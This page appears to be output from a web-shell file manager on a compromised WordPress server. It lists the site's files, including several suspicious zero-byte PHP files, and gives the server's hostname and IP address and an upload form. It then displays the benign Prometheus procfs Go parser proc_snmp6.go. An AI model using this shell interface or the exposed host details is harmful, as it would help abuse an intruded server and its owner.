XANNYANAXIUM FILE MANAGER

Navigate and manage your files

Current Directory
Upload File
Standard Upload
Advanced Upload

Status: No file selected

Create New
Name Type Size Modified Permission Actions
/ .. Directory — 2025-05-23 05:57:18 0755
/ wp-admin Directory — 2026-08-24 09:01:10 0755
/ wp-content Directory — 2026-09-23 15:34:11 0755
/ wp-includes Directory — 2026-09-23 15:34:04 0755
.htaccess HTACCESS 1.92 KB 2026-05-07 22:43:39 0644
.htaccess.bk BK 1.15 KB 2025-11-21 07:04:52 0644
.htaccess_old HTACCESS_OLD 1.80 KB 2025-11-21 07:14:55 0644
.user.ini INI 9 bytes 2026-01-05 06:16:59 0644
atomlib.php PHP 0 bytes 2026-09-22 09:09:48 0644
default.php PHP 15.99 KB 2025-05-23 12:16:32 0644
edits.php PHP 0 bytes 2026-09-22 08:49:13 0644
index.php PHP 1.30 KB 2026-09-22 06:21:28 0644
license.txt TXT 19.44 KB 2026-08-20 12:39:46 0644
phpinfo.php PHP 20 bytes 2025-05-23 05:57:32 0644
readme.html HTML 7.23 KB 2026-09-18 01:39:40 0644
robots.txt TXT 405 bytes 2026-09-22 07:12:19 0644
wp-activate.php PHP 7.54 KB 2026-08-20 12:39:46 0644
wp-blog-header.php PHP 351 bytes 2025-05-23 12:16:32 0644
wp-comments-post.php PHP 2.27 KB 2025-05-23 12:16:32 0644
wp-config-sample.php PHP 46 bytes 2026-09-23 15:34:06 0644
wp-config.php PHP 3.53 KB 2025-11-21 07:39:35 0644
wp-cron.php PHP 5.49 KB 2025-05-23 12:16:32 0644
wp-links-opml.php PHP 2.43 KB 2025-12-03 12:55:28 0644
wp-load.php PHP 3.84 KB 2025-05-23 12:16:32 0644
wp-login.php PHP 51.30 KB 2026-08-20 12:39:46 0644
wp-mail.php PHP 8.52 KB 2025-12-03 12:55:30 0644
wp-postnews.php PHP 12.59 KB 2026-09-23 09:22:15 0644
wp-settings.php PHP 32.38 KB 2026-08-20 12:39:46 0644
wp-signup.php PHP 34.26 KB 2026-08-20 12:39:46 0644
wp-sx9a.php PHP 0 bytes 2026-09-22 08:49:04 0644
wp-trackback.php PHP 5.27 KB 2026-08-20 12:39:46 0644
xmlrpc.php PHP 3.13 KB 2025-05-23 12:16:32 0644

Dir : /opt/go/pkg/mod/github.com/prometheus/procfs@v0.12.0/
Server: Linux in-mum-web1754.main-hosting.eu 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
IP: 77.37.46.203
Choose File :
Url:
Dir : //opt/go/pkg/mod/github.com/prometheus/procfs@v0.12.0/proc_snmp6.go

// Copyright 2022 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package procfs

import (
	"bufio"
	"bytes"
	"errors"
	"io"
	"os"
	"strconv"
	"strings"

	"github.com/prometheus/procfs/internal/util"
)

// ProcSnmp6 models the content of /proc/<pid>/net/snmp6.
type ProcSnmp6 struct {
	// The process ID.
	PID int
	Ip6
	Icmp6
	Udp6
	UdpLite6
}

type Ip6 struct { // nolint:revive
	InReceives       *float64
	InHdrErrors      *float64
	InTooBigErrors   *float64
	InNoRoutes       *float64
	InAddrErrors     *float64
	InUnknownProtos  *float64
	InTruncatedPkts  *float64
	InDiscards       *float64
	InDelivers       *float64
	OutForwDatagrams *float64
	OutRequests      *float64
	OutDiscards      *float64
	OutNoRoutes      *float64
	ReasmTimeout     *float64
	ReasmReqds       *float64
	ReasmOKs         *float64
	ReasmFails       *float64
	FragOKs          *float64
	FragFails        *float64
	FragCreates      *float64
	InMcastPkts      *float64
	OutMcastPkts     *float64
	InOctets         *float64
	OutOctets        *float64
	InMcastOctets    *float64
	OutMcastOctets   *float64
	InBcastOctets    *float64
	OutBcastOctets   *float64
	InNoECTPkts      *float64
	InECT1Pkts       *float64
	InECT0Pkts       *float64
	InCEPkts         *float64
}

type Icmp6 struct {
	InMsgs                    *float64
	InErrors                  *float64
	OutMsgs                   *float64
	OutErrors                 *float64
	InCsumErrors              *float64
	InDestUnreachs            *float64
	InPktTooBigs              *float64
	InTimeExcds               *float64
	InParmProblems            *float64
	InEchos                   *float64
	InEchoReplies             *float64
	InGroupMembQueries        *float64
	InGroupMembResponses      *float64
	InGroupMembReductions     *float64
	InRouterSolicits          *float64
	InRouterAdvertisements    *float64
	InNeighborSolicits        *float64
	InNeighborAdvertisements  *float64
	InRedirects               *float64
	InMLDv2Reports            *float64
	OutDestUnreachs           *float64
	OutPktTooBigs             *float64
	OutTimeExcds              *float64
	OutParmProblems           *float64
	OutEchos                  *float64
	OutEchoReplies            *float64
	OutGroupMembQueries       *float64
	OutGroupMembResponses     *float64
	OutGroupMembReductions    *float64
	OutRouterSolicits         *float64
	OutRouterAdvertisements   *float64
	OutNeighborSolicits       *float64
	OutNeighborAdvertisements *float64
	OutRedirects              *float64
	OutMLDv2Reports           *float64
	InType1                   *float64
	InType134                 *float64
	InType135                 *float64
	InType136                 *float64
	InType143                 *float64
	OutType133                *float64
	OutType135                *float64
	OutType136                *float64
	OutType143                *float64
}

type Udp6 struct { // nolint:revive
	InDatagrams  *float64
	NoPorts      *float64
	InErrors     *float64
	OutDatagrams *float64
	RcvbufErrors *float64
	SndbufErrors *float64
	InCsumErrors *float64
	IgnoredMulti *float64
}

type UdpLite6 struct { // nolint:revive
	InDatagrams  *float64
	NoPorts      *float64
	InErrors     *float64
	OutDatagrams *float64
	RcvbufErrors *float64
	SndbufErrors *float64
	InCsumErrors *float64
}

func (p Proc) Snmp6() (ProcSnmp6, error) {
	filename := p.path("net/snmp6")
	data, err := util.ReadFileNoStat(filename)
	if err != nil {
		// On systems with IPv6 disabled, this file won't exist.
		// Do nothing.
		if errors.Is(err, os.ErrNotExist) {
			return ProcSnmp6{PID: p.PID}, nil
		}

		return ProcSnmp6{PID: p.PID}, err
	}

	procSnmp6, err := parseSNMP6Stats(bytes.NewReader(data))
	procSnmp6.PID = p.PID
	return procSnmp6, err
}

// parseSnmp6 parses the metrics from proc/<pid>/net/snmp6 file
// and returns a map contains those metrics.
func parseSNMP6Stats(r io.Reader) (ProcSnmp6, error) {
	var (
		scanner   = bufio.NewScanner(r)
		procSnmp6 = ProcSnmp6{}
	)

	for scanner.Scan() {
		stat := strings.Fields(scanner.Text())
		if len(stat) < 2 {
			continue
		}
		// Expect to have "6" in metric name, skip line otherwise
		if sixIndex := strings.Index(stat[0], "6"); sixIndex != -1 {
			protocol := stat[0][:sixIndex+1]
			key := stat[0][sixIndex+1:]
			value, err := strconv.ParseFloat(stat[1], 64)
			if err != nil {
				return procSnmp6, err
			}

			switch protocol {
			case "Ip6":
				switch key {
				case "InReceives":
					procSnmp6.Ip6.InReceives = &value
				case "InHdrErrors":
					procSnmp6.Ip6.InHdrErrors = &value
				case "InTooBigErrors":
					procSnmp6.Ip6.InTooBigErrors = &value
				case "InNoRoutes":
					procSnmp6.Ip6.InNoRoutes = &value
				case "InAddrErrors":
					procSnmp6.Ip6.InAddrErrors = &value
				case "InUnknownProtos":
					procSnmp6.Ip6.InUnknownProtos = &value
				case "InTruncatedPkts":
					procSnmp6.Ip6.InTruncatedPkts = &value
				case "InDiscards":
					procSnmp6.Ip6.InDiscards = &value
				case "InDelivers":
					procSnmp6.Ip6.InDelivers = &value
				case "OutForwDatagrams":
					procSnmp6.Ip6.OutForwDatagrams = &value
				case "OutRequests":
					procSnmp6.Ip6.OutRequests = &value
				case "OutDiscards":
					procSnmp6.Ip6.OutDiscards = &value
				case "OutNoRoutes":
					procSnmp6.Ip6.OutNoRoutes = &value
				case "ReasmTimeout":
					procSnmp6.Ip6.ReasmTimeout = &value
				case "ReasmReqds":
					procSnmp6.Ip6.ReasmReqds = &value
				case "ReasmOKs":
					procSnmp6.Ip6.ReasmOKs = &value
				case "ReasmFails":
					procSnmp6.Ip6.ReasmFails = &value
				case "FragOKs":
					procSnmp6.Ip6.FragOKs = &value
				case "FragFails":
					procSnmp6.Ip6.FragFails = &value
				case "FragCreates":
					procSnmp6.Ip6.FragCreates = &value
				case "InMcastPkts":
					procSnmp6.Ip6.InMcastPkts = &value
				case "OutMcastPkts":
					procSnmp6.Ip6.OutMcastPkts = &value
				case "InOctets":
					procSnmp6.Ip6.InOctets = &value
				case "OutOctets":
					procSnmp6.Ip6.OutOctets = &value
				case "InMcastOctets":
					procSnmp6.Ip6.InMcastOctets = &value
				case "OutMcastOctets":
					procSnmp6.Ip6.OutMcastOctets = &value
				case "InBcastOctets":
					procSnmp6.Ip6.InBcastOctets = &value
				case "OutBcastOctets":
					procSnmp6.Ip6.OutBcastOctets = &value
				case "InNoECTPkts":
					procSnmp6.Ip6.InNoECTPkts = &value
				case "InECT1Pkts":
					procSnmp6.Ip6.InECT1Pkts = &value
				case "InECT0Pkts":
					procSnmp6.Ip6.InECT0Pkts = &value
				case "InCEPkts":
					procSnmp6.Ip6.InCEPkts = &value

				}
			case "Icmp6":
				switch key {
				case "InMsgs":
					procSnmp6.Icmp6.InMsgs = &value
				case "InErrors":
					procSnmp6.Icmp6.InErrors = &value
				case "OutMsgs":
					procSnmp6.Icmp6.OutMsgs = &value
				case "OutErrors":
					procSnmp6.Icmp6.OutErrors = &value
				case "InCsumErrors":
					procSnmp6.Icmp6.InCsumErrors = &value
				case "InDestUnreachs":
					procSnmp6.Icmp6.InDestUnreachs = &value
				case "InPktTooBigs":
					procSnmp6.Icmp6.InPktTooBigs = &value
				case "InTimeExcds":
					procSnmp6.Icmp6.InTimeExcds = &value
				case "InParmProblems":
					procSnmp6.Icmp6.InParmProblems = &value
				case "InEchos":
					procSnmp6.Icmp6.InEchos = &value
				case "InEchoReplies":
					procSnmp6.Icmp6.InEchoReplies = &value
				case "InGroupMembQueries":
					procSnmp6.Icmp6.InGroupMembQueries = &value
				case "InGroupMembResponses":
					procSnmp6.Icmp6.InGroupMembResponses = &value
				case "InGroupMembReductions":
					procSnmp6.Icmp6.InGroupMembReductions = &value
				case "InRouterSolicits":
					procSnmp6.Icmp6.InRouterSolicits = &value
				case "InRouterAdvertisements":
					procSnmp6.Icmp6.InRouterAdvertisements = &value
				case "InNeighborSolicits":
					procSnmp6.Icmp6.InNeighborSolicits = &value
				case "InNeighborAdvertisements":
					procSnmp6.Icmp6.InNeighborAdvertisements = &value
				case "InRedirects":
					procSnmp6.Icmp6.InRedirects = &value
				case "InMLDv2Reports":
					procSnmp6.Icmp6.InMLDv2Reports = &value
				case "OutDestUnreachs":
					procSnmp6.Icmp6.OutDestUnreachs = &value
				case "OutPktTooBigs":
					procSnmp6.Icmp6.OutPktTooBigs = &value
				case "OutTimeExcds":
					procSnmp6.Icmp6.OutTimeExcds = &value
				case "OutParmProblems":
					procSnmp6.Icmp6.OutParmProblems = &value
				case "OutEchos":
					procSnmp6.Icmp6.OutEchos = &value
				case "OutEchoReplies":
					procSnmp6.Icmp6.OutEchoReplies = &value
				case "OutGroupMembQueries":
					procSnmp6.Icmp6.OutGroupMembQueries = &value
				case "OutGroupMembResponses":
					procSnmp6.Icmp6.OutGroupMembResponses = &value
				case "OutGroupMembReductions":
					procSnmp6.Icmp6.OutGroupMembReductions = &value
				case "OutRouterSolicits":
					procSnmp6.Icmp6.OutRouterSolicits = &value
				case "OutRouterAdvertisements":
					procSnmp6.Icmp6.OutRouterAdvertisements = &value
				case "OutNeighborSolicits":
					procSnmp6.Icmp6.OutNeighborSolicits = &value
				case "OutNeighborAdvertisements":
					procSnmp6.Icmp6.OutNeighborAdvertisements = &value
				case "OutRedirects":
					procSnmp6.Icmp6.OutRedirects = &value
				case "OutMLDv2Reports":
					procSnmp6.Icmp6.OutMLDv2Reports = &value
				case "InType1":
					procSnmp6.Icmp6.InType1 = &value
				case "InType134":
					procSnmp6.Icmp6.InType134 = &value
				case "InType135":
					procSnmp6.Icmp6.InType135 = &value
				case "InType136":
					procSnmp6.Icmp6.InType136 = &value
				case "InType143":
					procSnmp6.Icmp6.InType143 = &value
				case "OutType133":
					procSnmp6.Icmp6.OutType133 = &value
				case "OutType135":
					procSnmp6.Icmp6.OutType135 = &value
				case "OutType136":
					procSnmp6.Icmp6.OutType136 = &value
				case "OutType143":
					procSnmp6.Icmp6.OutType143 = &value
				}
			case "Udp6":
				switch key {
				case "InDatagrams":
					procSnmp6.Udp6.InDatagrams = &value
				case "NoPorts":
					procSnmp6.Udp6.NoPorts = &value
				case "InErrors":
					procSnmp6.Udp6.InErrors = &value
				case "OutDatagrams":
					procSnmp6.Udp6.OutDatagrams = &value
				case "RcvbufErrors":
					procSnmp6.Udp6.RcvbufErrors = &value
				case "SndbufErrors":
					procSnmp6.Udp6.SndbufErrors = &value
				case "InCsumErrors":
					procSnmp6.Udp6.InCsumErrors = &value
				case "IgnoredMulti":
					procSnmp6.Udp6.IgnoredMulti = &value
				}
			case "UdpLite6":
				switch key {
				case "InDatagrams":
					procSnmp6.UdpLite6.InDatagrams = &value
				case "NoPorts":
					procSnmp6.UdpLite6.NoPorts = &value
				case "InErrors":
					procSnmp6.UdpLite6.InErrors = &value
				case "OutDatagrams":
					procSnmp6.UdpLite6.OutDatagrams = &value
				case "RcvbufErrors":
					procSnmp6.UdpLite6.RcvbufErrors = &value
				case "SndbufErrors":
					procSnmp6.UdpLite6.SndbufErrors = &value
				case "InCsumErrors":
					procSnmp6.UdpLite6.InCsumErrors = &value
				}
			}
		}
	}
	return procSnmp6, scanner.Err()
}